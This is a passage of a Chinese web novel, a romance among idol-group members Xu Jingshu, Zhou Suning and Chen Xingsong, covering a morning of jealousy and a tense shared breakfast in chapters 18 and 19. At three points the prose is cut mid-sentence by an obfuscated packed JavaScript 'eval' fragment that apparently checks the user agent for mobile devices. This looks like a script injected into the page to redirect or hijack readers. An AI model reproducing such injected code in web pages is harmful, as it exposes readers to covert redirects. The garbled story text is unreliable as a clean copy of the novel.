周塑宁对上了许京殊清澈而疑惑的眼睛,里面没有他想象中的任何暧昧或暗示,他心里涌起一丝难以言喻的失落和焦躁。 他也意识到自己的反应过激了。 “别乱戳。”周塑宁的声音低哑了许多,他迅速找到了一个勉强合理的借口:“有点痒。” 许京殊哦了一声,恍然地点点头,并没有多想,只是觉得周塑宁可能真的怕痒。 他收回手,还回味似的虚虚抓握了一下空气,眼睛亮晶晶的:“好厉害,好漂亮,手感真好。” 当许京殊终于收回手,周塑宁才不动声色的缓缓吐出一口气,感觉后背似乎都出了一层薄汗。 他只能简短地应道:“你喜欢就行。” 声音比平时哑了些许。他立刻转身,假装去拿手机,借此掩饰自己过快的心跳和脸上可能尚未褪去的异常热度。 “你找我有什么事吗?”他开始找话题。 许京殊这才反应过来他是来干嘛的,其实他刚刚只是跟陈醒松赌气,故意跟他说约了周塑宁吃早饭还冲动的进了他的房间,其实周塑宁并不知道此事。 所以他现在只能现约:“附近新开了家粥铺,我上次路过闻着挺香的,想问问你要不要一起去吃早饭?” “可以。等我一下,我去洗漱。”周塑宁还没缓过来,晃了晃头。 两人一起往门口走。许京殊扭头瞥见周塑宁的床头柜上,摆着几张团照,还有一张是两人的合照,许京殊完全没有印象。 不过他凭着他们的衣服想起来了,应该是去年演唱会后台拍的。 “这些照片你居然还贴着。”许京殊指了指。 “懒得换。”周塑宁不敢回头,匆忙伸手拉开了房门。 “不急不急,我去客厅沙发等你。”许京殊看他着急忙慌的去卫生间洗漱,就慢慢走到沙发上坐下。 客厅里,苏凌羽还瘫在沙发上,见他俩一起出来哀嚎一声:“你俩真出去吃啊?那我呢?” 许京殊注意力不在他身上,他往四周看了几眼,没发现陈醒松的身影,有些挫败:“陈醒松呢?” 苏凌羽要被这两人的别扭样气笑了,特么的还无视我:“我说这个世界能不能对我好点。” “我就知道!我就是个被遗忘的可怜人,我问你我吃什么呢你居然关注点全在陈醒松身上,我要闹了。”苏凌羽抓起抱枕捂住脸,在沙发上滚了半圈。 许京殊也被自己给弄笑了,连忙贿赂苏凌羽:“好了好了,等下回来给你带你想吃的茶叶蛋和小笼包。” “这还差不多!”苏凌羽立刻从抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他叹了口气,拍了拍许京殊的肩膀,“行吧,手滑就手滑。看他回不回。” 几乎是在消息显示送达的同时,聊天框上方出现了“对方正在输入…”的提示。 许京殊虽然有些后知后觉的尴尬,但眼角的余光不受控制地瞟向苏凌羽的手机屏幕。 陈醒松像是知道这条信息是谁发的了。 输入提示闪现了好几次,却迟迟没有消息过来。 最后,提示消失了。 陈醒松没有回复。 卫生间的门在这时打开了。 周塑宁走了出来,脸上还带着水汽。 他抬眼看向客厅里的两人,目光在许京殊没什么表情的脸上停留了一瞬,然后转向苏凌羽:“早上好。我ok了,可以走了。” “哦,好。”许京殊反应了一会儿才从沙发上站起来,穿上外套。 苏凌羽叹了口气,随即摆摆手:“去吧去吧,记得我的茶叶蛋小笼包还有豆浆!” “知道了。”许京殊应着,和周塑宁一起走到玄关换鞋。 许京殊最后回头看了一眼公寓,内心还在期盼苏凌羽能叫住他跟他说陈醒松回信息了。 可惜什么动静都没有,自己的手机也异常平静。他垂下眼帘,长长的睫毛遮住了所有情绪。 许京殊转过身,跟着周塑宁一起出门,走进了电梯。 18.说好约我呢 陈醒松几乎是逃出公寓楼的,清晨稍凉的空气扑面而来,也没能缓解他胸腔里的那股烦闷。 他快步走出小区,然后停住,站在小区门口不知道该往哪走。 许京殊真不理他的时候,他又开始慌了,陈醒松觉得太阳穴一跳一跳地疼。 他刚才在客厅,亲眼看着许京殊敲开周塑宁的门,然后门关上,隔绝了他的视线。 明明知道许京殊对谁都不是那种意思,明明知道许京殊可能只是在赌气,可那股火还是蹭地烧上来,压都压不住。 他待不下去了。再多待一秒,他都怕自己会做出什么失控的事,比如冲过去拉开那扇门,把许京殊拽出来。 但是他现在没有任何立场做这件事。 陈醒松转身进入小区对面的便利店,他随手拿了瓶冰镇饮料付款,拧开灌了一大口。冰凉液体滑过,稍微压下了那股无名火,但还是堵得慌。 他靠在便利店外的玻璃墙上,看着清晨街道上逐渐多起来的行人和车辆,脑子里却反复闪回着许京殊红着眼眶被自己狠心拒绝的样子。 是从什么时候开始的?这种越来越无法忍受别人靠近许京殊的情绪。 陈醒松努力思考。 他想起刚见到许京殊那会儿,他性格内敛,不太会主动交际,总是安安静静待在角落。 陈醒松性格张扬,朋友也多。但他就是莫名被那个沉默的身影吸引。 是他主动凑过去,勾住许京殊的肩膀,笑嘻嘻地说跟我一起玩吧,以后我罩着你。是他拉着许京殊认识其他队友,带着他适应密集的行程和镜头。 许京殊对他的依赖,最初是他刻意营造,后来渐渐成了习惯。他享受许京殊只对他展露的放松和笑容,习惯性地把许京殊划在自己的保护圈里。 以前有队友或工作人员和许京殊多说几句话,勾肩搭背,他只觉得是正常交际,甚至还会凑过去一起闹。 是从什么时候开始变味的? 大概是有次录综艺。一个常驻的前辈挺欣赏许京殊,休息时常找他说话,偶尔拍拍他后背。陈醒松在另一边跟其他前辈聊天,眼睛却总往那边瞟。看见那前辈的手落在许京殊肩上,他嘴里的话差点说不出来。 回去的车上,他装作随口提起:“那前辈好像挺喜欢你。” 许京殊靠着车窗快睡着了,含糊地“嗯”了一声。 他又忍不住补了一句:“不过也别太近了,圈里复杂。” 许京殊睁开眼看他,有点困惑,点了点头。 那时候,他已经模模糊糊的想把他和外面的人隔开。 当时他给自己找的理由是:许京殊单纯,他得看着点,别让人骗了。 后来,这种看着点渐渐变了质。 许京殊和周塑宁莫名的就有了接触,签售会时周塑宁挡在许京殊前面护着他的时候。陈醒松当时在许京殊旁边牵着手安慰他,可他分明看到许京殊的眼神飘过去看周塑宁。 那天晚上,他本来是想去给许京殊送药膏的,走到门口发现许京殊房间门开着。 他站在昏暗的走廊里,看着许京殊的房间门内透出的暖光。许京殊坐在床上,仰头看着周塑宁,眼睛亮亮的,然后伸出手,给了周塑宁一个拥抱。 陈醒松当时脑子里一片空白。 紧接着,是一股突如其来的恐慌,没完没了的。那感觉比他任何一次受伤和任何一次被网络攻击都要来得凶。 那不是朋友被抢的气愤,是更私密的东西被人碰了的恐惧。 他的脚步猛地钉在原地。陈醒松看了看许京殊桌子上的药膏,顿时觉得自己口袋里的药膏像多余的。 他就那么站在阴暗中,看着周塑宁走出来,两个人在走廊里对上目光,无声对峙。周塑宁看他的眼神平静,却带着一种了然。 那一刻,陈醒松突然读懂了那种眼神。 周塑宁喜欢许京殊。 他面无表情的看着周塑宁,原来那个人说的很对,许京殊身边的人哪一个看他的眼神都不清白。 他心里却窝着一股火,既对着总出现在许京殊身边的周塑宁,也对着毫无所觉的许京殊。 他的心也好像被开了个口子,自己所有不正常的表现都有了答案。 他看到许京殊和别人亲近时,心里那无法忽视的酸涩憋闷。 他享受许京殊只依赖他时,那种隐秘的欣喜。 他规划未来时,总会下意识把许京殊算进去,想象着无论去哪里,身边都得有这个人。 他对其他队友就没有那么多的关注。 他无数次玩笑般的逗弄,藏着连自己都未曾察觉的认真。 他烦躁时只想听许京殊的声音,开心时第一个想分享的人是许京殊,看到他被骂会生气看到他隐忍会心疼。 这些碎片被串联起来,拼凑出一个让他无法再逃避的真相。 他也喜欢许京殊。 他承认了。 就这么简单。 随之而来的不是自己心意被发现的释然,是更大的无措。 许京殊知道怎么办? 许京殊会怎么看他? 他们还能像以前一样吗? 这个圈子,他们的身份,粉丝怎么办? 如果许京殊不喜欢他,如果许京殊觉得恶心…… 这些念头一股脑的涌上来,几乎要将他溺毙。 他下意识想逃,想再次用冷漠把自己武装起来,想把刚刚发现的真相重新埋回去。 但他知道,回不去了。 那层窗户纸一旦捅破,就再也糊不上。 以他的性格来说,他也不会坐以待毙。 手机在口袋里又震动了一下。陈醒松打开看了一眼,一条撤回的信息,还有一句对不起。 他看着那三个字,一瞬间就知道了对面不是苏凌羽,是许京殊。 眼前好像浮现出许京殊打出这三个字时的样子。是抿着唇,带着点赌气,又藏着委屈?还是眼眶泛红? 许京殊有什么错?错的是他。是他自己搞不清状况,胡乱发脾气,把许京殊推开,然后又在这里自怨自艾。 他思索片刻,手指在键盘上删删打打最后将手机锁屏丢回口袋。 他不打算隔着屏幕说开。 他喜欢许京殊。 这个事实无法改变。 那么,他要因为害怕未知的后果,就继续逃避,继续伤害许京殊,也折磨自己吗? 陈醒松站直身体,深深吸了一口气。 他不能再像现在这样了。不能再对许京殊冷脸,不能再把他推远。 至少,他得先跟许京殊和好,再重新回到许京殊身边,不能再让许京殊伤心,他没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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周塑宁也看见了。他脚步停了一下,然后很自然地转向旁边的一张空桌,拉开椅子:“坐这儿吧。” 许京殊挪动脚步,但他的目光还钉在那个背影上。 陈醒松好像感应到了什么,敲着桌面的手指停了,他慢慢地转过头。 终于来了! 两人的目光撞上。 陈醒松眉眼弯弯,冲他笑了一下。 这可让许京殊感觉莫名其妙的,刚刚还横眉冷眼的,现在笑什么,有什么好笑的! 陈醒松飞快地瞥了一眼旁边的周塑宁,跟他带有火药味儿的对视了两秒,然后把目光放在许京殊脸上。 许京殊被他盯得有些犹豫,他扭开脸,不再看陈醒松,拉开周塑宁对面位置的椅子,用力坐了下去。 陈醒松被许京殊气恼的小动作勾的笑了两下。 “想喝什么粥?”周塑宁在许京殊对面坐下,拿起桌上的菜单,完全无视了几步之外的另一个人。 他眼里闪过一丝被打扰的不爽,冷眸微眯。 陈醒松嗤笑一声,懒散站起身来,走到许京殊身侧,俯身靠近,就差亲上去了。 周塑宁拿着菜单的手抓紧,看着陈醒松目光逼人。 陈醒松挑衅的看向周塑宁,然后开始当着他的面对许京殊撒娇卖乖扮委屈:“殊殊为什么吃饭不带我?” 19.天平本来就是倾斜的 陈醒松这一声不高不低,恰好能让周塑宁听个清楚。语气黏糊糊的,带着点刻意的委屈,与他方才挑衅周塑宁时的模样截然不同。 许京殊被他突如其来的靠近吓得微微一震,下意识的往后缩了缩。 不对!他为什么要心虚?显得他毫无气势,许京殊立刻又将背挺直了。 他脑子里快速处理陈醒松的这句话话,当即被陈醒松服软的态度哄好了一大半,他嘴角忍不住上扬,赌气回了一句:“我才不要带你一起,你不是不想再和我一起打闹了吗?” “哪有的事!”陈醒松睁眼说瞎话。 周塑宁放下了手里的菜单,塑封菜单的边缘被他手指压得弯曲。 他抬起眼,看向几乎贴在许京殊身上的陈醒松,声音极淡:“陈醒松,许京殊今天约的是我。” “吃饭嘛,当然是人多热闹。”陈醒松假装没听出他话里的意思,非但没退开,还绕过去伸手去拉许京殊旁边的空椅子。 木质椅腿划过地面,发出刺耳的声音。他大剌剌地坐下,手臂搭在许京殊的椅背上,形成了一个环抱的姿势,将许京殊圈在了他的领地。 这下,原本只属于两人的小方桌,陡然变得拥挤。 “塑宁,我要皮蛋瘦肉粥。”陈醒松抢先开口,还对他扯了个笑脸。 不过这笑脸怎么看,都让人想给他一拳。 周塑宁没理他,转头问:“京殊,你吃什么?” “南瓜粥吧,还有小笼包!”许京殊快速报菜名。 周塑宁扫码点单,不一会儿服务员端着托盘过来,放下三碗热气腾腾的粥和一笼小笼包。 周塑宁没再说话,只是拿起勺子,慢条斯理地搅着自己面前那碗南瓜粥,氤氲的热气模糊了他部分表情。 许京殊被陈醒松环在中间,浑身不自在。陈醒松身上那股熟悉的气息笼罩过来,手臂虽然没真的碰到他,但存在感极强。 他闷头拿起勺子,舀了一勺面前的粥,送进嘴里。 “好吃吗?”陈醒松又凑近了一点,问他。 许京殊不想理他,又舀了一勺,才开口:“甜甜的。” “慢点,烫。”陈醒松伸手,想碰碰他的手腕提醒,但指尖在快要触及时又顿住了。 他眼珠子一转,然后握起许京殊的手腕,凑过去就着他的勺子喝了一口:“我尝尝你的。” “陈醒松!”许京殊终于忍不住,侧过脸瞪他,压低了声音,“你自己没有吗?” “不一样!”陈醒松迎着他的目光,理直气壮,“喝一口怎么了。” 周塑宁的手用了些力,陶瓷勺子碰在碗壁上,发出清脆的一声声响:“别跟他抢,他吃不饱怎么办。” “那就吃我的。”陈醒松迎上他的目光,两人之间的空气仿佛噼啪作响,“我跟殊殊之间,不用分那么清。” 他刻意加重了“殊殊”两个字,带着理所当然的亲近。 周塑宁嘴角极轻微地动了一下:“是吗?” 他不再看陈醒松,转而夹起一个小包子,放到许京殊手边的小碟里,“尝尝这个。” 许京殊看着碟子里多出来的包子,有些发愣。 他们俩怎么火药味儿这么冲?难道是因为周塑宁看不惯陈醒松莫名其妙冷落队友? 陈醒松默默收回搭在椅背上的手臂,不能落下风! 他盯着那个包子,随即也拿起自己的勺子,从自己的碗里舀起一勺皮蛋瘦肉粥,直接放到了许京殊的嘴边:“先吃我的!” 许京殊一时不察,被陈醒松喂了个正着,下意识张口含了进去。 他微微侧着头,因为陈醒松突如其来的动作有些懵,额前细软的刘海垂下来,饱满的唇珠微微受力,显得愈发润泽。粥因为陈醒松手抖了一下,不小心沾在他的嘴唇上,亮晶晶的更显红润。 两人都愣了几秒,视线黏在许京殊的嘴唇上,直到他吞咽下去,扭头表示抗拒,才各自回过神来。 “吃自己的吧,”许京殊趁着两人不说话连忙说,“再闹下去,等下都凉了。” 两人暂时休战。 一时间,只有餐具轻微的碰撞声和周围食客的谈笑声。 陈醒松扒拉了两口,食不知味。 他眼角的余光一直锁在许京殊身上,看他微微鼓动的脸颊,看他低垂的睫毛,看他张合的嘴唇。 收回视线时,正撞上周塑宁的目光,他也同样,视线全落在许京殊身上。 他冷哼一声,清了清嗓子,试图打破沉默,声音放软了些,对着许京殊说:“殊殊,这件事情都是我不对,你别生我气了。” 许京殊喝粥的动作停了停,没抬头。 “我不该那么跟你说话。”陈醒松继续忏悔道:“我就是一时脑子抽了。” 周塑宁轻轻吹了吹自己勺里的粥,仿佛没听见,冷淡至极,但心里还是期待许京殊给他一巴掌。 许京殊还是不说话,但捏着勺子的手指松了松,脸上的神情也没了一开始的冷硬。 陈醒松见他没立刻反驳或冷眼相对,胆子大了点,又往他那边凑近了些,声音压得更低,几乎带着气音:“你别不理我啊,我会很难受的。” 这句话像一根小钩子,精准地挠在了许京殊心口最软的地方。 他太熟悉陈醒松这种示弱的方式了,每次他闯了祸或者惹了自己不高兴,最后总会用这种带着点可怜巴巴的语气来哄人,百试百灵。 他知道这可能是一种手段,但每次听到,还是忍不住会心软。 许京殊终于抬起眼皮,飞快地斜了他一眼。 陈醒松正眼巴巴地看着他,脸上委屈巴巴的。头发有点乱,大概是早上匆匆出门没打理,看起来有点傻气。 许京殊鼻腔里轻轻“哼”了一声:“就会装可怜。” 陈醒松见自己的目的达成了一部分,变得安分下来。 周塑宁将这一切尽收眼底,他安静地吃着自己面前的粥。 不久后,许京殊放下了筷子,碗里的粥见了底。他抽了张纸巾擦嘴,然后看了看两人:“我吃好了。” 陈醒松立刻也放下勺子:“我也好了。” 周塑宁用餐巾拭了拭嘴角,姿态从容:“那走吧。” 三人先后起身。陈醒松抢先一步走到许京殊身边,和他并肩,刻意隔开了另一侧的周塑宁。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周塑宁的目光在两人之间逡巡片刻,最后落在许京殊脸上,似乎在确认他的意愿。 许京殊避开了他的视线,微微点了点头。他非常心虚,明明是自己邀请别人,最后还给人家一个人扔在这了。 “好。”周塑宁没再多说一个字,转身,拎着苏凌羽的早饭朝着公寓楼的方向走去。 他很快就融入了街边的人流中,没有回头。 刚刚的一切恰恰印证了周塑宁早就看清的事实。 陈醒松在许京殊那里,始终是不同的。 那份经年累月积累起来的亲密和习惯,不是他能轻易撼动的。 他不能急。 他要做的,是像水一样,缓慢地、无声地渗透进去。 他要等待。等待下一次机会,等到许京殊需要一份安稳的陪伴,或者陈醒松再次失控,将机会拱手送到他面前。 在此之前,他只需如常生活,保持不远不近的距离,做一个随时准备好的备胎。